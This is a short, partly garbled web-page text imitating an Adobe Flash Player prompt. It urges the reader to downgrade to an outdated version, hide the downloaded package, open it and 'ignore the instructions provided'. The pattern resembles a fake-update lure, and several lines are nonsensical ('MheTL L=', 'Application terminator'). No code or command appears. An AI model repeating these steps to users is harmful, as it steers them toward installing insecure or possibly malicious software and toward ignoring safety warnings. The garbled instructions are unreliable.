You need an older version of Adobe Flash Player to encode and/or decode (Play) audio files in standard definition:  
Click here to revert to a previous version:  
Software downgrade  
"Adobe Flash Player" is currently updated  
The version of "Adobe Flash Player" on your  
system already has the latest security fixes:  
Download an outdated version of  
Adobe Flash  
Player"  
Normally, Chrome allows all extensions installations. Proceed as below:  
Download Flash -  
Download a large package  
downloading:  
Click Show In Folder to hide the package-  
Click on  
Hide in Folder"  
Open the package  
Single-click the package to open  
MheTL L=  
Application terminator  
Ignore the instructions provided.  
Open the package and ignore the instructions:  
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